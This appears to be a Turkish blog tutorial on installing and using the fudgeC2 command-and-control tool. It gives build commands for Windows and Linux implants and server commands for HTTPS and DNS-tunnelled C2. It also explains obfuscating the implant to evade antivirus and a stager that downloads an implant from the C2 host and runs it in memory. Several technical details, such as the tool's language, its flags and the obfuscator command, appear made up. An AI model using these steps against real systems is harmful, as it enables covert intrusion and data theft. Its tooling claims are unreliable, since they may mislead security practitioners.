**FudgeC2 Nedir? Kapsamlı Kurulum ve Kullanım Rehberi**

Siber güvenlik dünyası, savunma (Mavi Takım) ve saldırı (Kırmızı Takım) takımlarının sürekli bir mücadelesine sahne olur. Kırmızı Takım operasyonlarının en kritik bileşenlerinden biri, ele geçirilen sistemler üzerinde kontrolü sürdürmeyi ve komut çalıştırmayı sağlayan Komuta ve Kontrol (Command and Control - C2) altyapılarıdır. İşte bu noktada, Go diliyle yazılmış, esnek ve modern bir C2 aracı olan **fudgeC2** devreye giriyor. Bu yazımızda fudgeC2'nin ne olduğunu, neden kullanıldığını, nasıl kurulduğunu ve en etkili kullanım senaryolarını detaylı bir şekilde ele alacağız.

**1. fudgeC2 Aracı Nedir?**

**fudgeC2**, sızma testleri ve kırmızı takım operasyonları için tasarlanmış, açık kaynak kodlu bir Komuta ve Kontrol (C2) aracıdır. Go (Golang) programlama dili ile geliştirilmiştir. Bu dil seçimi ona önemli avantajlar kazandırır:

* **Çapraz Platform Desteği:** Go ile yazılan kod, Windows, Linux ve macOS gibi farklı işletim sistemleri için kolayca derlenebilir. Bu sayede hem C2 sunucusu hem de hedef sisteme yerleştirilecek olan "implant" (ajan yazılım) farklı platformlarda sorunsuzca çalışır.
* **Performans:** Go, derlenmiş bir dil olduğu için yüksek performans sunar ve sistem kaynaklarını verimli kullanır.
* **Tek Dosya Olarak Derlenme:** Go uygulamaları, tüm bağımlılıklarıyla birlikte tek bir çalıştırılabilir dosya olarak derlenir. Bu, implant'ı hedef sisteme taşımayı ve çalıştırmayı oldukça kolaylaştırır.

fudgeC2, temel olarak iki ana bileşenden oluşur:

* **C2 Sunucusu (Server):** Saldırganın kontrol ettiği, komutları gönderdiği ve hedeflerden gelen verileri topladığı merkezi sunucudur.
* **İmplant (Agent):** Hedef sisteme yerleştirilen ve C2 sunucusu ile gizlice iletişim kurarak komutları alıp çalıştıran küçük yazılımdır.

**2. Neden Kullanılır?**

fudgeC2, modern siber tehditleri simüle etmek ve bir organizasyonun güvenlik savunmalarını test etmek amacıyla kullanılır. Temel kullanım nedenleri şunlardır:

* **Post-Exploitation (Sömürü Sonrası):** Bir sisteme ilk erişim sağlandıktan sonra, bu erişimi kalıcı hale getirmek, sistemde komutlar çalıştırmak, veri sızdırmak ve ağ içinde yatay olarak hareket etmek için kullanılır.
* **Gizlilik ve Tespit Edilmemek (Stealth):** fudgeC2, HTTP/S ve DNS gibi yaygın ağ protokolleri üzerinden iletişim kurabilir. Özellikle HTTPS (şifreli) veya DNS trafiği içine gizlenen C2 iletişimi, ağ izleme sistemleri (Firewall, IDS/IPS) tarafından tespit edilmesini zorlaştırır.
* **Esneklik ve Modülerlik:** Farklı iletişim modüllerini destekler ve ihtiyaçlara göre özelleştirilebilir implant'lar oluşturmaya olanak tanır.
* **Güvenlik Duruşunu Test Etmek:** Bir şirketin Mavi Takım'ının, gelişmiş ve gizli bir tehdide karşı ne kadar hazırlıklı olduğunu ölçmek için gerçekçi bir saldırı senaryosu sunar.

**3. Nasıl Kurulum Yapılır?**

fudgeC2'nin kurulumu Go dilinin kurulu olmasını gerektirir. Kurulum adımları oldukça basittir.

**Gereksinimler:**

* Go (Golang) programlama dili
* Git

**Kurulum Adımları:**

1. **Go ve Git Kurulumu:**  
   Eğer sisteminizde Go ve Git kurulu değilse, öncelikle bunları kurmanız gerekir. Debian/Ubuntu tabanlı sistemler için:

sudo apt update

sudo apt install golang-go git -y

1. **fudgeC2 Deposunu Klonlama:**  
   Aracın kaynak kodlarını GitHub üzerinden klonlayın.

git clone https://github.com/Ziconius/fudgeC2.git

1. **C2 Sunucusunu Derleme:**  
   Klonladığınız dizine gidin ve sunucu uygulamasını derleyin.

cd fudgeC2

go build -o fudgeC2-server .

Bu komut, bulunduğunuz dizinde fudgeC2-server adında bir çalıştırılabilir dosya oluşturacaktır.

1. **İmplant'ı Derleme (Yapılandırma Gerekli):**  
   İmplant, C2 sunucusuna bağlanacağı için derlenmeden önce yapılandırılmalıdır.
   * implant/config/config.go dosyasını bir metin editörü ile açın.
   * C2\_HOST ve C2\_PORT gibi değişkenleri kendi C2 sunucunuzun IP adresi ve portu ile değiştirin.
   * Yapılandırmayı kaydettikten sonra implant dizinine gidin ve hedef işletim sistemine göre derleyin.

**Windows için implant derleme:**

cd implant/

GOOS=windows GOARCH=amd64 go build -o implant.exe .

**Linux için implant derleme:**

cd implant/

GOOS=linux GOARCH=amd64 go build -o implant-linux .

Artık implant.exe veya implant-linux dosyalarınız hedef sistemde çalıştırılmaya hazırdır.

**4. Kullanım Parametreleri Nedir?**

fudgeC2-server çalıştırılırken çeşitli parametreler alabilir. En temel parametreler şunlardır:

./fudgeC2-server -h

komutu ile tüm parametreleri görebilirsiniz. Başlıcaları:

* -lhost <IP\_ADRESI>: C2 sunucusunun dinleyeceği IP adresi. Genellikle 0.0.0.0 olarak ayarlanarak tüm arayüzlerden gelen bağlantıları kabul etmesi sağlanır.
* -lport <PORT\_NUMARASI>: C2 sunucusunun dinleyeceği port numarası (örneğin, 80 veya 443).
* --proto <PROTOKOL>: İmplant ile iletişimde kullanılacak protokol. Varsayılan olarak http'dir. https veya dns gibi seçenekler de mevcuttur.
* --ssl-cert <SERTIFIKA\_YOLU>: HTTPS protokolü kullanılacaksa SSL sertifika dosyasının yolu.
* --ssl-key <ANAHTAR\_YOLU>: HTTPS protokolü kullanılacaksa SSL anahtar dosyasının yolu.
* --domain <ALAN\_ADI>: DNS protokolü kullanılacaksa C2'nin yetkili olduğu alan adı.

**5. Bu Aracı Etkili Kullanmanın 5 Tane Örneği**

Aşağıda, fudgeC2'nin farklı senaryolarda nasıl etkili bir şekilde kullanılabileceğini gösteren 5 örnek bulunmaktadır.

**Örnek 1: Temel HTTP C2 Kurulumu**

Bu en basit senaryodur. C2 sunucusu, standart HTTP portu olan 80 üzerinden gelen implant bağlantılarını dinler.

* **Açıklama:** Bu yöntem, ağda temel düzeyde bir filtreleme olduğunda veya hızlı bir test yapmak istendiğinde kullanılır. Tespit edilmesi en kolay yöntemdir çünkü trafik şifresizdir.
* **Sunucu Tarafı Komutu:**

./fudgeC2-server -lhost 0.0.0.0 -lport 80 --proto http

* **İmplant Yapılandırması:** implant/config/config.go dosyasında C2\_HOST kısmına sunucunuzun genel IP'sini, C2\_PORT kısmına 80 yazın. Ardından implant'ı derleyin ve hedef sistemde çalıştırın. Sunucu ekranında yeni bir bağlantı (session) göreceksiniz.

**Örnek 2: Gizli HTTPS C2 (Let's Encrypt ile)**

Bu senaryoda trafik şifrelenir ve standart HTTPS portu olan 443 kullanılır. Bu, ağ trafiğini izleyen güvenlik cihazlarını atlatma olasılığını artırır.

* **Açıklama:** Şirket ağlarındaki web trafiğinin büyük bir kısmı HTTPS üzerinden akar. C2 trafiğini bu yasal görünümlü trafiğin içine gizlemek, tespiti zorlaştırır. Gerçek bir alan adı ve ücretsiz Let's Encrypt sertifikası kullanmak etkinliği artırır.
* **Sunucu Tarafı Komutu:**

# Önce Let's Encrypt ile sertifika alın (örneğin, certbot kullanarak)

# sudo certbot certonly --standalone -d sizin-c2-alanadiniz.com

./fudgeC2-server -lhost 0.0.0.0 -lport 443 --proto https --ssl-cert /etc/letsencrypt/live/sizin-c2-alanadiniz.com/fullchain.pem --ssl-key /etc/letsencrypt/live/sizin-c2-alanadiniz.com/privkey.pem

* **İmplant Yapılandırması:** config.go dosyasında C2\_HOST kısmına sizin-c2-alanadiniz.com ve C2\_PORT kısmına 443 yazarak derleyin.

**Örnek 3: DNS Tünelleme ile Güvenlik Duvarını Aşma**

Bazı çok kısıtlı ağlarda sadece DNS (port 53) trafiğine izin verilir. Bu senaryo, bu tür ağlardan veri sızdırmak için kullanılır.

* **Açıklama:** fudgeC2, komutları ve verileri DNS sorguları (TXT, A kayıtları vb.) içine gömerek iletişim kurabilir. Bu, HTTP/S trafiğini tamamen engelleyen ancak DNS çözümlemesine izin veren güvenlik duvarlarını atlatmak için son derece etkili bir yöntemdir.
* **Sunucu Tarafı Komutu:**

# Bu senaryo için alan adınızın NS kayıtlarını C2 sunucunuza yönlendirmeniz gerekir.

./fudgeC2-server --proto dns --domain c2.sirket.com

* **İmplant Yapılandırması:** config.go dosyasında C2\_HOST olarak c2.sirket.com alan adını belirtin ve protokolü DNS olarak ayarlayın. Derlenen implant, komutları DNS sorguları aracılığıyla alacaktır.

**Örnek 4: İmplant'ı Antivirüslerden Gizlemek (Obfuscation)**

Varsayılan olarak derlenen implant, zamanla antivirüs (AV) programları tarafından tanınabilir. go-obfuscate gibi araçlarla kodu karıştırarak AV tespitinden kaçınabilirsiniz.

* **Açıklama:** Statik AV imzaları, dosyanın bilinen bir tehdit olup olmadığını kontrol eder. Kaynak kodu karıştırmak (değişken adlarını anlamsızlaştırmak, gereksiz kod eklemek vb.), dosyanın imzasını değiştirerek AV'leri atlatmaya yardımcı olur.
* **Uygulama:**
  1. go-obfuscate aracını kurun: go install github.com/Binject/go-obfuscate@latest
  2. İmplant'ı derlemeden önce implant/ dizininde şu komutu çalıştırın:

go-obfuscate -o gizli-implant.exe .

* Bu işlem, AV'ler tarafından tespit edilmesi daha zor olan gizli-implant.exe dosyasını oluşturur.

**Örnek 5: Staged (Aşamalı) Yükleyici Kullanımı**

Hedefe doğrudan tam özellikli implant'ı göndermek yerine, önce çok küçük ve zararsız görünen bir "stager" (yükleyici) gönderilir. Bu stager, C2'ye bağlanır ve asıl implant'ı belleğe indirip çalıştırır.

* **Açıklama:** Bu yöntem, ağ ve uç nokta güvenlik çözümlerini atlatmak için çok etkilidir. İlk aşama (stager) o kadar küçüktür ki şüphe çekmez. Asıl zararlı kod (implant) diske hiç yazılmadan doğrudan bellekte çalıştığı için (fileless attack), tespiti çok daha zordur.
* **Uygulama:**
  1. fudgeC2 sunucusunu, bir HTTP sunucusu gibi asıl implant dosyasını sunacak şekilde yapılandırın.
  2. Yalnızca http.Get("http://<C2\_IP>/implant.bin") gibi bir komutla C2'den dosyayı indirip bellekte çalıştıracak çok küçük bir Go programı (stager) yazın.
  3. Hedefe bu küçük stager'ı gönderin. Stager çalıştığında, C2 sunucunuzdan tam implant'ı çekecek ve oturum başlayacaktır.

**Sonuç**

fudgeC2, modern kırmızı takım operasyonları ve sızma testleri için geliştirilmiş güçlü, esnek ve gizlilik odaklı bir C2 aracıdır. Go dilinin getirdiği çapraz platform ve performans avantajları, onu rakiplerinden ayırır. HTTP/S ve DNS gibi farklı protokolleri desteklemesi, güvenlik savunmalarını test etmek için geniş bir senaryo yelpazesi sunar. Ancak unutulmamalıdır ki, bu tür araçlar büyük bir güç ve sorumluluk getirir. **fudgeC2 ve benzeri araçlar, yalnızca yasal yetkiniz ve izniniz olan sistemlerde, siber güvenlik becerilerini geliştirmek ve savunmaları güçlendirmek amacıyla kullanılmalıdır.** Yetkisiz kullanımı yasa dışıdır ve ciddi sonuçlar doğurabilir.